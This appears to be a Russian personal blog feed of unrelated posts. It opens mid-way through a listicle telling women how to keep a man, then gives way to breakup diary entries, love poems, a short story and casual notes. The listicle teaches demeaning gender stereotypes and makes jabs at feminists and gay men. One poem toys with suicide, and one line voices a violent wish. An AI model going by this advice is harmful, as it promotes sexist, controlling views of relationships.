Многие в детстве слышали выражение «Перехвалила — испортился», так вот это миф: взрослого вменяемого человека перехвалить невозможно, у него есть планка самооценки. И хвалить не значит льстить, это значит смотреть на него с желанием видеть хорошее. Похвала приятна всем, не возьмете ее на вооружение вы — найдутся более умные люди, с которыми он и станет общаться.

3. Не унижайте его и не скандальте на людях

Выяснение отношений в публичных местах — табу, потому что публичный имидж респектабельного и надежного для мужчины намного более важен, чем для женщины, которая при текущем общественном строе все еще может позволить себе быть красивой легкомысленной пустышкой.

Когда «половинка», самое доверенное лицо, начинает подрывать авторитет мужчины перед его друзьями, коллегами или толпой в метро, это воспринимается как нож в спину. Такое часто прощается, но никогда не забывается.

Заставить мужчину потерять лицо — один из самых грандиозных стратегических просчетов женщины в отношениях. Вам это аукнется, не сомневайтесь. Так что подождите с претензиями до дома, заодно и остынете, осмыслите их, см. п. 1.

4. Не используйте в обращениях к нему диминутивов

Витенька, птенчик, котинька, заяц, мася и лапуля — это не то, кем ваш парень себя видит в мечтах. Это как если бы он начал вас звать «мать», «подруга», «рядовой Джейн», «суперсиськи» или «мисс минет — 2015». Представили? Забудьте об уменьшительных суффиксах навсегда, ласкательные приберегите для особо удавшегося секса.

5. Поддерживайте его начинания, даже самые идиотские

Когда он уносит ваши обручальные кольца, чтобы еще немножечко поиграть на автоматах, — это одно. Когда он увлекается подледным ловом, игрой на тромбоне, вышивкой крестом, биатлоном, коллекционированием садовых гномов, продажей аджики собственной закатки через интернет — это совсем другое.

Желание встречать в штыки новые инициативы заложено в природе каждого человека, потому что любая система стремится хранить равновесие, но тут вам придется быть умнее природы. Исходите из реалистичной оценки максимально возможного ущерба вам лично и общесемейному благополучию.

Вам жалко пару тысяч долларов для счастья любимого человека с рыбами, и после этого вы удивляетесь, как яростно он ненавидит ваши походы по обувным магазинам? Ну загромоздили гномы прихожую и две лоджии, и что, это правда так ужасно? И опять-таки: не оцените и не поддержите вы — это сделает кто-то другой, и в этом моменте вы отдалитесь.

6. Самый сногсшибательный вид — для него, а не для встречи одноклассников

Синдром победившего охотника, теряющего интерес к пойманной дичи, свойственен женщинам не меньше, чем мужчинам. То, что вы захомутали его в сожительство или обвязались узами брака, не значит, что теперь он навеки в вас влюблен.

Да, это пошло, подло и банально, но примерно половина моих пациентов-мужчин жаловалась на факты пренебрегания девушкой своим внешним видом после того, как отношения вошли в стабильную колею. Если он увлекся физиком с серыми волосами, в бурой клетчатой жилетке и стоптанных штиблетах, он знал, на что идет.

Но раз на свадебных фото вы блондинка в кудряшках и розочках, а сейчас стриженое нечто в удобном комбинезоне, то не обессудьте, если вас перестанут воспринимать как привлекательную самку.

Тем более когда на корпоративы вы краситесь и покупаете новое платье, а дома ходите а-ля натюрель в одних и тех же нежных пастельных вещах (которые мужской глаз воспринимает как блеклые и асексуальные). Это очень просто, но женщины не перестают совершать эту ошибку. Вас не обязаны любить такой, какая вы есть (и вас вообще не обязаны любить априори, см. п. 1).

7. Он главный — и точка

Серьезно, это же так удобно. Основная проблема феминисток состоит в попытках, фигурально выражаясь, разгружать вагоны, когда вместо этого можно танцевать. Эволюцией ли, социальными установками или воспитанием в большинстве семей, но мужчина выращен для роли «решателя» проблем, лидера, капитана и прочее.

Это никоим образом вас не унижает, если вы сами не решите, что хотите быть униженной. Одна девушка воспринимает поданную руку при выходе из автобуса как галантность, другая — как намек на ее неспособность перепрыгнуть лужу в силу физической слабости коротких ног. Понятно, какая из них наслаждается общением с противоположным полом, а какая страдает от гнета шовинистов. И это вам решать, которой девушкой быть.

Подарите ему радость быть сильным, действовать, думать и играть первую скрипку. Дайте мужчине вести, и танец получится. Пускай он не всегда прав, вы можете потом тихо исправить ситуацию: даже когда на самом деле львиную долю делаете вы, если вы любите своего партнера — имитировать картину «ты мой герой, я только на подхвате» не составит никакого труда. Реализуйте свою волю к власти в других местах. Например, с геями, им все равно.

8. Говорите о важных вещах прямо, без намеков

Мужчины понимают намеки, но чаще это намеки других мужчин или те намеки, которые им выгодно понимать. У них (кроме разве что японцев) не принято говорить о сути дела эзоповым языком.

Когда ваш муж хочет продать клиенту партию мотоциклов, он говорит: «У нас известная марка, срок гарантии средний по рынку, а за опт мы вам скинем 7%», а не: «Увял осенний лист на одиноком вязе, что на холме унылом вырос, и пора коня железного запрячь разумной твари и этих мест бежать скорей на юг».

Поэтому излагайте просто, но не глобально: не «скажи прямо, ты меня разлюбил, да?», а «я устала собирать твоих червей для подледного лова по всему дому, не для этого меня мама растила, найми домработницу».

9. Не ставьте его в центр своей вселенной и не требуйте, чтобы он ставил вас в центр своей

Я имею в виду не искреннюю заботу о потребностях друг друга и не глубину любви, а требования внимания по мелочам. Получасовые разговоры по телефону и вконтакте пять раз в день ни о чем раздражают почти любого мужчину.

Психологическая зависимость от его мнения льстит ему, но и раздражает тоже. Поэтому не пытайтесь официально посвятить ему свою жизнь, это здорово пугает, а упреки в невнимательности в совокупности с бессодержательными эмоциональными проявлениями очень быстро утомят его, а вы останетесь плакать и восклицать: «Неблагодарный, я отдала ему всю себя».

Вся вы даже себе не нужны, будем честны. И уж ему-то явно разумно предлагать самые лакомые части.

10. Научитесь вкусно готовить

И готовьте. Это не обсуждается. Эквивалент «она не готовит» для вашего понимания — это «он приносит в дом меньше денег, чем она». Ну что, у нас же равноправие, вы же этого хотели?

Кажется, что после практики я поняла, чем хочу заниматься, что хочу делать. И это возникло не на пустом месте, как это часто бывает у меня, а это было реальностью, я себя в этом попробовала. Но сейчас я думаю: а вдруг через месяц/полгода/год я уже потеряю к этому интерес, как часто это и бывало у меня, снова, снова и снова. И этот страх не найти себя…он даже больше страха никогда не почувствовать чью-то любовь, никогда не найти вторую половинку.

Я агностик. И вообще, если честно, считаю, что религия придумана зря.

Врач сказал, что я здорова. Но я не вижу в этом ничего хорошего.

Мне кажется, что мы на грани разрыва.

Вместо того, чтобы приехать ко мне поговорить (позвонил только сейчас, я начала всё выяснять, разрыдалась), он идёт гулять, а со мной встретится завтра. Я не узнаю своего Владя, это не он, не он.. Мой Владь не такой похуист..

Сказала ему, что потеряла веру во всего его слов а "люблю" и прочее.

-Ты же знаешь, что это не так.

-Нет, я больше не знаю. Я в этом не уверена, - да, я, действительно, больше в этом не уверена.

Возможно, я сейчас всё накручиваю, однако.. у нас идёт раскол отношений. И это факт..

Мне кажется, я сейчас сдохну от боли.

Мне не нужны были все эти дорогие подарки на ДР, виски- мне нужны хорошие отношения без такого огромного количества ссор, как у нас и я это тебе говорила.

ветер в голове

сумашествие, придуманное моей безумной головой. почему это происходит, я не знаю, кажется, мне нужен психолог, это нестандартная ситуация, которая может выйти из под контроля, уже на грани. не знаю, смогу ли я справится.

с каждым днем всё хуже и хуже. возникают моменты ломки, они случались и раньше, но он был рядом, и они быстро проходили под воздействием его присудствия, пусть и не со мной, но взлядом он был тут. а сейчас он за тысячу км, и я не понимаю какого хрена он в моей голове. какого хрена

твою мать

как же мне херово

твою мать

самовлюбленный эгоист.

я бы хотел выгрызть твою опухоль, когда ты вся почернеешь

Девушка: - Мы знали друг друга.
Парень: - Мы были знакомы.
Д: -Я пыталась не влюбиться.
П: - Я пытался ее не замечать.
Д: - Выходило плохо.
П: - Выходило ужасно.
Д: - Я поняла, что влюбилась.
П: - Я понял, что влюблен.
Д: - Он игнорирует меня.
П: - Я смотрю на нее, а ей плевать.
Д: - Я смотрю на него, когда он играет в футбол.
П: - Ей плевать на мои увлечения.
Д: - Он выкрикнул мое имя.
П: - Я не сдержал эмоций.
Д: - Сегодня мы в первый раз гуляли.
П: - Я понял, что она очень общительная.
Д: - У него очень красивые глаза.
П: - У нее потрясающая улыбка.
Д: - Теперь мы редко говорим друг другу привет.
П: - Я начал стесняться.
Д: - Его брат сказал, что я налетаю на него.
П: - Я все еще стесняюсь.
Д: - Другие девушки стали обращать на него внимание.
П: - Она начала гулять с другими.
Д: - Я все еще люблю его.
П: - Я пытаюсь забыть ее.
Д: - Я пытаюсь забыть его.
П: - Я все еще люблю ее.

О, эти превратности жизни.

Сначала тебе 18-20 и ты влюбленная дурочка и думаешь, ну же, посмотри на меня, поговори со мной, поцелуй меня. И если все сложилось хорошо - он смотрит, говорит и целует. Спрашивает, как спалось, что снилось и обедала ли ты. И ты думаешь, ну вот, совсем скоро я буду самой счастливой в мире - ведь он будет со мной.

И вот вы вместе. Проходит год, другой, третий. И теперь он уже не смотрит на тебя, последний раз он спрашивал "как тебе спалось?" приблизительно год назад, когда ты уходишь в темноту, он больше не идет за тобой, а ждет с недовольном лицом у подъезда "давай быстрей, а то же ты без ключей, потом еще спускаться за тобой". Вечерние прогулки стали настолько редкими, что ты можешь их пересчитать за последний полгода на пальцах, а те, что были, превратились в ад: часто слышишь его "Отвали" и на твои даже самые безобидные шутки сплошные обиды. Да что уж там, даже если ты обижаешься на его грубость, он просто обижается в ответ и снова ты виновата. Ты стала бесполой в отношениях, не чувствуешь себя девушкой, скорее так, даже немножко мужиком.

Когда на ваших выездах на природу идешь в кусты проверить что-нибудь, то не он, а посторонние говорят тебе "Только осторожно, ладно?". И эти слова ранят больше, чем его грубость. Потому что именно они дают тебе понять, насколько ему все равно. Он добился, ты никуда не денешься и в тебе нет ничего нового. Гораздо интереснее вечером играть на компьютере во что-нибудь или листать ленту новостей. Ты ложишься спать одна уже так давно, что и не помнишь, а было ли по-другому. И вот ты живешь со всем этим липким ужасом в груди: неужели все? Я больше никогда не почувствую бабочек в животе, никогда не буду с гордостью смотреть на него, потому что вы вместе, потому что он так старается, чтобы быть с тобой: элементарно, бреется дважды в день, чтобы не поцарапать тебя. А сейчас по-другому, сейчас он просто не целуется с тобой, ну чтобы ты не пищала, что он разодрал тебе лицо - ну не бриться же, в самом деле, ведь три дня назад я уже делал это.

И в глубине души ты прекрасно знаешь все ответы на свои отчаянные "Господи, неужели ничего не изменится?". Нет. Ничего. У тебя есть вариант - забей на него, живи своей жизнью и тогда, быть может, он что-нибудь поймет. Но нет никакого желания играть в эти игры - ведь ты уже наигралась.

И тогда ты сидишь вечером, после очередной грубости, пишешь пост и хочешь всего этого никогда не знать. Никогда.

My favorite self care tip is to pretend you’re a demon inhabiting a humans body and you gotta look after it, treat it right, cause these things are weak af man and you gotta protect your host

Два дня по комнате. Из Угла снова в угол.
Курить. Тьфу, снова мимо потушила…
Твои страницы безупречно ищет Гугл.
Я никогда так не хотела.Отпустила…

Прости. Назад. Давай. Сейчас.Прости.
Мой телефон от неотправленных- взрывается.
Я, может, глупо ошибалась- по пути.
Но мне одной никак не засыпается…

В компьютер. От компьютера. К окну.
Я может разозлилась. Ослабела.
Я может правда так- возьму и сигану,
Чтоб так красиво было сверху мое тело.

Да ладно, детство. Сопли, суицид.
Гоню, конечно. Но в идее что-то есть…
Все в норме. Просто где-то там болит…
И даже рвется. Мне так страшно, жесть.

Устало… кухонно… по стенке.. в тишине.
Я дура. Нет, малыш, реально глупая.
Все дело в том, что мне мешает это "не".
" Я не люблю тебя". Вторые сутки в ступоре…

Говорила, хрипела, голосом лед ломала.
Уходила, спиной собирая патроны/взгляды.
Надоело спасать тебя. Баста. Табу. Устала.
Сигареты закончились. Кофе две ночи к ряду.
Улыбалась. Ревела. Людей разводила в прятки.
Лишь бы знать что спокоен. Что дышишь, что можешь помнить.
Лишь бы знать: где-то там у тебя все давно в порядке.
Убегала. Спасалась в углах коммунальных комнат.
Заедала и запивала.Не забывала.
Ухмылялась чужим, из-под челки пуская искры.
А дыру меж ребер - ладонями прикрывала.
Эта рана- родная. Не просто случайный выстрел.
Собирала мыслишки в огромную кучу хлама,
Чтобы сжечь без сомнения, вместе с листвой и ватой.
До сих пор выдыхаю горечь, когда звонит мама.
Еще больно. Но это мелочь. Пройдет когда-то.
Говорила, хрипела, простудой в тебя дышала.
Извини, не спасла. Залечила и отпустила.
Было мало. Сходила с ума, но ладонь разжала.
И не вздумай вернуться. Мне просто не хватит силы…

И за вином. За виски. За жвачкой.
Угадывать в дворах и окнах лето.
Трясти под ухом белой пустой пачкой.
Я ухожу. Мне очень надо сигарету.
_______________________________
И можно две. Через затяг глотая время,
Глодая трафик интернетый до скелета,
Опять надеяться- я заменила всеми
И вот теперь не знаю даже где ты.

По лужам, лед кроша своей подошвой,
Смотреть в глаза случайных мне прохожих,
С немым вопросом: "Что же вы? Ну что же вы,
Ну почему все кажетесь похожими
На.. "
Вот весна! Сбежать бы и все бросить.
Не верится, не ждется, не сбывается.
Хотя никто и ни о чем уже не просит,
как следствие- никто не возвращается.

Я за вином. За сигаретой. К магазину.
По тротуару, с баночкой коктейля.
Немного пОшло, если б за резиной…
Но я же не такая, в самом деле).

Знакомые витрины. Помнишь осень?
Когда я так же, только веселее,
Кричала "Никого никто не бросил! "
И убегала в догонялки по аллеям.

Цветные сны. Район знакомый. Ветер в спину.
В кармане щелкая убитой зажигалкой,
Вдруг помечтать: тебя бы здесь. А то простыну.

Что- угостишься сигаретой? Мне не жалко.

Пускай ты выпита другим,
Но мне осталось, мне осталось
Твоих волос стеклянный дым
И глаз осенняя усталость.

О возраст осени! Он мне
Дороже юности и лета.
Ты стала нравиться вдвойне
Воображению поэта.

Я сердцем никогда не лгу,
И потому на голос чванства
Бестрепетно сказать могу,
Что я прощаюсь с хулиганством.

Пора расстаться с озорной
И непокорною отвагой.
Уж сердце напилось иной,
Кровь отрезвляющею брагой.

И мне в окошко постучал
Сентябрь багряной веткой ивы,
Чтоб я готов был и встречал
Его приход неприхотливый.

Теперь со многим я мирюсь
Без принужденья, без утраты.
Иною кажется мне Русь,
Иными - кладбища и хаты.

Прозрачно я смотрю вокруг
И вижу, там ли, здесь ли, где-то ль,
Что ты одна, сестра и друг,
Могла быть спутницей поэта.

Что я одной тебе бы мог,
Воспитываясь в постоянстве,
Пропеть о сумерках дорог
И уходящем хулиганстве.

Я с лихвой отступаю от старой ошибки до нового лиха.
Мне бы надо заснуть. Но сегодня, боюсь, не получится.
Я могла бы хотеть тебя громко, могла бы и тихо…
Только это теперь не моя доля- так с тобой мучаться…

Я легко предаю идеалы несбывшихся дней,
Отторгая, снимая, как кожу змеи свое «Я»…
Просто так- все сознательно в прошлом./не думай о ней./
Мы смешные враги… и хреновые, вобщем, друзья…

Я сыграла на блеф, все поставив опять на зеро.
Ты на красное бросил две фишки - любовь и себя…
В этом новом мне впрочем ништяк. Только нет одного-
Не хватает тебя. Черт, мне так не хватает тебя…

А мы расплатились… хороший, ты разве не понял?
Сегодня иначе. Сегодня мы квиты вдвойне.
Я больше не жду. Не царапаю теплых ладоней.
Теперь я в одной, ты- в другой стороне.

А мы расплатились… за все, чем когда то грешили.
Высокая плата. Но счет был закрыт. Сгоряча.
Мы были в кредит, под проценты высокие были…
Теперь пришло время рыдать без родного плеча.

Хороший, мне жаль. Мне так жалко что мы проиграли.
Накурено, пусто. Мне жить. И тебе не болеть…
… А помнишь, когда-то мы оба с нуля начинали…
Теперь расплатились. Навряд ли увидимся впредь…

Лишь зимнее небо снежинки кроит недовольно…
А мы с тобой квиты… Хороший, ты разве не понял?…

Мерила расстояние ниточкой, шажками пальцев.
А теперь никакого каната не хватит, мой странный.
Мы могли летать вместе, но надо ж так глупо расстаться…
Я в подъездах и спальнях врачую свои раны.

Не кричи. Не лечи. Не звучи в этой осени гимном.
Отпусти мою руку, я мерзну в холодных твоих…
Мне бы просто вдохнуть, пока чистишь свои нимбы,
Мне бы время назад- и весь мир, как окно на двоих.

Мне бы горсточку пепла сгоревших мостов- и по ветру…
Перестань. Пересохнет гортань в поцелуе. Так трудно.

…Мы назначили слишком высокую цену за лето,
Обанкротились в раз. Все ушло с молоточка под утро.

Ванная, комната, зал, кухня, в этот день осталось на лестничной площадке и мишн комплетед.

Не надо говорить со мной о вечном.
Не понимаю. Не вникаю. Не впитается.
Ты не случайный встречный. Если встречный.
А я обычная. Я вовсе не красавица.

Я выбирала ночи. Опрометчиво.
Среди чужих времен, чьи судьбы исковеркала…
Когда рассматривала жизнь свою придирчиво,
Как обнаженную фигуру перед зеркалом.

Чужие постулаты- быть терпимее.
А не терпимее- хотя бы терпеливее.
И я ломала шоколадкой твое имя,
И вроде бы слова были красивее.

Не надо говорить со мной. Не спрашивай.
Я так отвыкла от тепла, от звуков голоса…
Мои черновики- бери и разукрашивай-
Вплетай, как ленты, извиненья в мои волосы.

Мы так давно не виделись. Обиделся.
Теперь в глаза- по честному- что было-то?
Не спрашивай как было… Видишь- выжила.
Твои старанья не пропали.
Сердце - выжато.

даже если бы в 2 часа ночи,
неожиданно подняли и сказали "он приехал",

я побежала бы его встречать.

пускай там, куда ты уходишь, воцаряется светлая тишина.
те, к кому возвращаешься, будут с тобой чесны.

в нашем городе N. садами цветет весна.
пока город курил, жил на ощупь и видел сны,
наша лодка разбилась…
/о быт ли? о боль и дым?
то, что ярко искрит, так опасно воспламенять…/
пускай там, куда ты идешь, принимают тебя любым,
не посмев упрекать, калечить и обвинять.
пускай будет уютен и тепел твой мир и дом.
пусть пророчат богатства и сотню довольных лет.
… если ты говорил – мне дышалось порой с трудом.
…если ты прикасался – всегда оставался след.
… если ты прикасался, я плавилась, но жила.
все внутри застывало, как крепкий тугой гранит.
пускай та, к кому ты идешь, будет ласкова и мила.
береги ее, береженую, от обид.

в нашем городе N. оцветает весна в саду.
город курит, живет на ощупь вдоль пыльных трасс.
… если мы целовались – то только не на виду.
… если счастливы были – то только не на показ.
пускай помнят тебя бессовестно молодым.
пускай там, куда ты идешь, будет тишь да лад.
наша лодка разбилась…
/о быт ли? о боль и дым?
в нашем городе N. оцветает вишневый сад./

будь спокоен. пусть только в гору идут дела.
всё приносит плоды. все усилия – не напрасны.

там, куда ты уходишь, будь непременно счастлив.
будь гораздо счастливей, чем я без тебя смогла.

ты будешь сидеть и дёргаться невпопад,
глаза опустив на стол, чашку с кофе, блюдце.
и будешь стараться не скалиться. улыбнуться.
и тысячу раз изменишься в цвете лица.
невероятно,
но я ведь когда-то любила этого подлеца,
который язвит и бросает свой колкий взгляд.
ты будешь сидеть и дергаться невпопад,

и будешь считать на пальцах, сколько минуло вёсен…
чем пахнет от прошлого… чем-то знакомым, анисовым…
вместо того чтоб язвить, просто поговори со мной.
почему я считаю себя безупречной актрисой,
когда лгу всем подряд и играю чужие чувства.
улыбаться, когда саднит, это тоже искусство
не сложней и не проще других ремёсел.

разговор битый час. на столе череда из кружек.
ты мурлычешь под нос наши песни, не в такт пою я.
расскажи, где ты был, когда был так бессовестно нужен…
почему я знаю в лицо всех твоих подружек….
расскажи, а хоть кто-то из них накрывал тебе ужин
или ты убегал, не дождавшись завтрака?
расскажи мне, что с нами будет завтра,
если все-таки сможем. если вдруг нас с тобой отвоюем…

расскажи мне, не мой, но когда-то любимый мужчина,
почему я привыкла плакать в подушку, а не твое плечо…
и вместо того чтоб язвить, говори со мной ни о чем.
например, о работе, где вам не дают расчет.
или о поездах, ищущих дом в пустоте вокзала.
почему не звонила, ни разу не написала.
а лучше о том, как мы хотели назвать сына
еще до того, как стали друг другу невыносимо чужими…

говори -не молчи. я в ответ буду рифмы бросать камнями
и слова подбирать колко-едкие, словно дым.
знаешь, мне вот кажется:
то, что являлось нами,
было самым правильным, самым праведным и простым.

как вернешься домой, передай мой привет маме;
передай привет всем, кто запомнил нас теми нами;
тем, кто помнит меня влюбленной,
тебя – бессовестно молодым.

Чуваки, я кароч не знаю, что сейчас происходит, но по-моему мне пишет мой типа парень бывший…Сережа который. Ахаха мне охота ржать, но я почему-то напряжена

Я подавлял в себе мысли, что это может быть что-то большее. Я слишком хорошо знал, что всякая любовь хочет быть вечной и в этом ее вечная мука. А вечного ничего нет.Ничего.

Эрих Мария Ремарк
" Три товарища"

но моя личная любовь к тебе не половая тряпка.
Об нее ноги нельзя вытирать.
Кстати ради чего же я тогда начал летать ?
Кстати все твои условия к чертовой матери.
Ебать_не значит любить, но щас не об этом
В водовороте дней моя душа себя потратила.
так же как раньше, так же как прошлым летом
ты подарила мне любовь спасибо, потом
я выкупил такую боль что бы лучше бы небыло
вообще ничего и до сих пор дикий стон
сердца моего требует памяти сгоревший пеплам
фотографии хранят еще чуть чуть тепла
а я по прежнему ла ла ла ла ла.
С братьями на студии делаю свои дела,
на белых листах сука любовь хуета бля.

так что давай, не выдумывай мне болезни, хватит с меня и этой дыры внутри.
лезвием, леской, лаской – все бесполезно. не залатаешь, вот хоть себе не ври.

«мне с тобой страшно, Господи, как же страшно, что ты со мною сделаешь через год,
Вдруг тобой будут пахнуть мои рубашки? Вдруг это никогда потом не пройдет?»

так собирай чемоданы, пакуй девайсы и уходи, хотя остаешься весь.
если получится, лучше не оставайся. в этом нет смысла \давай расскажи, в чем есть\.

что ни налью в стакан, через час там виски. cлушай, нам тесно в пределах одной Москвы.
так что давай, уебывай по-английски из моей жизни, постели и головы

Дорога лепестками роз
Усыпана для тех, кто остался человеком, испытавшим вкус настоящей любви.
Это не я, и не ты,
Это не я, и не ты,

завтра отпустит, выдохнешь боль, снова научишься жить.
холодный взгляд будет вновь отливать сталью.
только вряд ли снова кого - то захочешь любить.
твой мотылек действительно стал самой обычной тварью

я жопа и неблагодарная транжира, мне нужны деньги на свадьбу, нужны деньги на учебу, нужны деньги за первый год обучения, которые я до сих пор не полностью вернула родителям
НО
сегодня я пошла в книжный искать наименее дорогие издания Игры престолов, нашла сразу по две книги за 800 (!) рублей ("!" - дешево, потому что одна стоит 500), и КНИГУ-КОМИКС С ПОТРЯСАЮЩИМИ РИСУНКАМИ, КАЧЕСТВОМ ИЗОБРАЖЕНИЯ И ОФИГИТЕЛЬНЫМИ КОНЦЕПТ-АРТАМИ ПО Mortal Kombat !!!

спрятала это великолепие подальше от чужих глаз, попросила давно знакомого консультанта следить за его сохранностью и вышла из магазина покурить. И ТУТ МЕНЯ ОСЕНИЛО: ведь за еще не написанную курсовую одногруппник предлагал взять деньги! а этого хватит и на комикс, и на Игру престолов, и на отправку всего этого! я ужасная, ужасная сволочь, но порадовать любимого человека хочется страшно!))

Я, правда, не знаю, что вчера произошло, по какой причине мы не увиделись вечером, почему мои звонки остались неотвеченными, почему он до сих пор не вышел на связь и его телефон отключен.

"Я боюсь тебя потерять", - ты делаешь всё, чтобы это случилось. Мне надоело звонить по друзьям, чтобы тебя найти, выяснить причину происходящего.

В автобусе, когда возвращались с дачи: "Возьми фонарик- запустим вечером". Вечером:"Идите на х**, абонент не желает вас слышать".

Вероятно, конечно, это всё из-за того, что я вчера поехала к ребятам. Но что мне делать, когда ты тусишь с другой частью компании?!!

—Ты что, должна дома сидеть, пока он без тебя тусуется?

Как говорил сам Влад, когда на той неделе была похожая ситуация:

—Я не ревную тебя к кому-то конкретно, я тебя ревную ко всем. Я помню, как ты поступала с другими в прошлом. Я не могу быть уверен, что и со мной такого же не произойдёт, - не знаю даже, у кого из нас двоих прошлое будет "почернее". Хотя знаю.. Но нет же. Именно моё прошлое всё портит.

Мечты сбываются

в.понкин

здесь уныние голых стен
навсегда останется в людях,
а я тебя забрал бы к себе
и укрыл от поломанных

судеб.

Летит тупое лето!щелчок зажигалки дожди-пистолеты..
Любовь зарядила, холодное лето…
Не жалко, не жалко любить твое лето,

Чтобы не возникало неловких пауз в разговоре просто начинайте танцевать под воображаемую музыку. Лучше быть психом чем скучным. (с)

прожигая небеса из ситца
сигаретой с ароматом мая,
я ношу тебя железным сердцем
под одеждой,
на ночь не снимая.

Осенью пахнет все сильней, по утрам плотно кутаешься в кардиган и обнимаешь себя за плечи. Старый ритм в графике 5/2 и частое желание все бросить, когда в полдень ненадолго выходит солнце, и ты стараешься вобрать его в себя до капли, щуря глаза на скамейке в парке во время обеденного перерыва. Врешь себе, что все нормально, и каждый раз чувствуешь, как сердце делает сальто при виде каждой серебристой машины той самой марки и проезжая мимо его дома с работы/ на работу жадно ловишь глазами его окна. Окна квартиры номер один, в которой в стаканчике рядом с его зубной щеткой стоит моя. Ну или стояла.

Почти неделя с того вечера когда на полной громкости скорости, не проронив ни слова он высадил меня в моем дворе. И я слишком хорошо его знаю, что бы ждать. И я слишком устала, что бы возвращать себя к нему опять. Нет, не грустно, просто мысли назойливым роем кружат в голове, мешая наслаждаться счастливыми моментами в полную силу.

А моменты есть всегда. Я внезапно начала заниматься йогой, читаю хорошие книги, иногда гуляю до темна с друзьями, часами болтаю по телефону безудержно смеясь, нахожу время хозяйничать на кухне и даже смотреть фильмы, познакомилась с милым пареньком, и очень крепко сплю без снов.

Nottheend.

Мальчик симпотичный написал "привет, а я уже продумываю в каком платье я буду на нашей свадьбе

Иногда становится так классно от того, что стало так пофиг на то, что было так важно. (с)

Многих женщин заботит вопрос: «Как удержать мужчину?». Если Вы хотите в своей жизни быть действительно счастливой - не живите с мужчиной, которого нужно «удерживать».

Алиса Романова

В пламени свечи

Солнце уже долгое время не могло пробраться сквозь тучи, полностью застилавшие небо. Его лучи попадали в них и рассеивались, освещая изнутри. Благодаря этому, утро, день и вечер практически ничем не отличались друг от друга. Лишь в редкие дни, во время заката, на западе небосклона можно было увидеть розовый контур некоторых туч. Они, казалось, провисали под количеством осадков внутри. Выгнутыми волнами тучи кочевали по небу, пугая очередного зеваку в поздний час перспективой низвергнуться именно на его бедную голову. Иногда мелкая изморось вырывалась из мрачного заточения, прибивала пыль на каменных дорожках и растениях, задыхавшихся выхлопными газами проезжавших мимо них автомобилей. Сильный ветер порывами налетал на деревья, прогибая их так, что они, как по команде, склонялись на одну сторону, касаясь листвой друг друга. Доплыв до канала Грибоедова, тучи высвободили дождь из своих крепких объятий, уменьшаясь в размерах. Волны теряли свои округлые изгибы фиолетово-синего цвета, превращая небо в одну темную, иногда освещающуюся молниями, массу. Дождь застал нескольких прохожих. Один молодой человек, лет двадцати, поднял воротник своей кожаной куртки, опустив подбородок к груди. Ветер завывал, пролетал сквозь водосточные трубы, забирался во дворы, кружил по ним, взмывал вверх. Очередной его порыв пришелся прямо в лицо прохожему. Юноша нахмурил брови и постарался еще глубже забраться под куртку. Волосы его были уложены большим количеством моделирующего геля, от чего дождь собирался на его голове сотней маленьких капель, в которых отражался свет из немногочисленных окон, в которых еще по непонятным причинам не утихла на ночь жизнь. Тучная старушка, чинно шествующая параллельно ему, но в другую сторону, раскрыла зонт, который, кажется, перешел ей от ее прабабушки, купившей его на барахолке. В некоторых местах у зонта зияли дыры, сквозь которые дождь попадал прямо в лицо достопочтенной даме. Выкинуть его - значило расстаться с прошлым, в котором зонт был не так уж и стар, а дыры заплатаны. Поэтому она предпочла свою маленькую историю промокшей голове и одежде. Подле нее, прихрамывая, бежала собака, обычная дворняжка, у которой на боках грязью слиплась шерсть. Как только первые капли коснулись ее, она поспешила найти себе укрытие, чтобы поскорее защититься от наступающего буйства стихии. Все трое думали о своем, шли в своих направлениях и, навряд ли, даже заметили друг друга за непроницаемой стеной усилившегося дождя. В одном из окон на пятом этаже, как и должно в это время суток, да и в такую погоду, не горел свет. На стеклах не отражался свет от фонаря, который не мог пробиться сквозь водную завесу. Шторы были плотно задернуты, а форточка закрыта. За стеклом располагалась миниатюрная комната, озаряемая догорающим свечным огарком. Его пламя подрагивало, опускаясь все ниже и ниже, по мере того, как свеча плавилась в фарфоровом блюдце на краю деревянного стола. По стенам блуждали тени, слабо освещая комнату. В дальнем углу, рядом с входной дверью, белая краска на которой сильно облупилась, стоял чехол от гитары, из которого виднелся гриф. К нему примостилась незамысловатая белая ваза, в которой увядали, некогда полные жизни, ирисы. Некоторые лепестки не выдержали земного притяжения и опали, украшая старый деревянный пол. Когда свет попадал на диван под окном, можно было разглядеть замысловатый цветочный узор его покрывала и клеенку, подложенную под одну из ножек. На протертом подлокотнике лежала кошка, что-то мурлыча себе под нос. Ее иссиня-черная шерстка, казалось, светилась и переливалась огненными бликами. На стенах висело множество картин разных размеров и тематики. Над столом, в черной простой раме, висел портрет Анны Ахматовой в исполнении Н.И.Альтмана, и еще несколько пейзажей по периметру комнаты, разбавленных «Крестьянкой» Малевича. Напротив дивана стоял шифоньер, полки которого провисали под тяжестью хаотично наваленных книг. На редких пустых местах лежали ретро-значки и пучки трав, запах которых приятно смешивался с книжным. Рядом с почти растаявшей свечой стояли двое. Они не переговаривались, а смотрели на пламя, изредка переводя взгляд друг на друга. Парень поднес блюдце ближе к себе, чтобы рассмотреть лицо девушки, жавшейся к нему. На ее щеках играл легкий румянец, а в глазах укрылся огонек, уютный и согревающий. Она взяла юношу под руку и приблизила ладони к свече, разгибая замерзшие пальцы. Волосы девушки были забраны в низкий пучок, из которого выбилась пара прядей. Она машинально заправила их за ухо, проводя дальше ладонью по шарфу, обвившему тонкую, бледную шею. Парень наблюдал за ней, и взгляд его смягчался, затуманиваясь негой любви. И так, прижавшись друг к другу, они смотрели на пламя свечи, в которое вкладывали мечты на общее будущее. В каждом его движении проносилось то, чего так не хватало им в этой темной и пустой комнате. Они видели в нем просторную квартиру, наполненную теплом и светом, и себя, источающих безграничную любовь. Но дом этот был построен лишь в пламени свечи, которое через несколько секунд погасло, утонув в расплавившемся воске. Комната потеряла последний источник света, слабо придающий ей уют. Они обнялись, сохраняя накопившееся тепло, сливаясь с тишиной комнаты и звуками улиц Питера.

Я люблю незаправленные кровати. Люблю, когда люди пьяны и они плачут, но только в этот момент они могут быть честными. Люблю этот взгляд в их глазах, когда они осознают, что влюблены. Люблю то, как люди выглядят, когда просыпаются и не понимают, где находятся. Люблю тот вздох, которые делают люди, когда их любимый персонаж умирает. Я люблю, когда люди закрывают свои глаза и парят где-то в облаках. Я влюбляюсь в людей и их настоящие моменты все время. Я влюбляюсь в их падения и мечты. Если честно, это слишком красиво, чтобы описать словами.

annasun , рада тебе :)

Как же я люблю секс больше 5-и, 6-и раз в день

Все пишут, что уже купили наряды к 1 сентябрю, готовятся, наряжаются, собираются. Я например купила себе купальник новый, и не о каком 1 сентябре слышать не хочу!

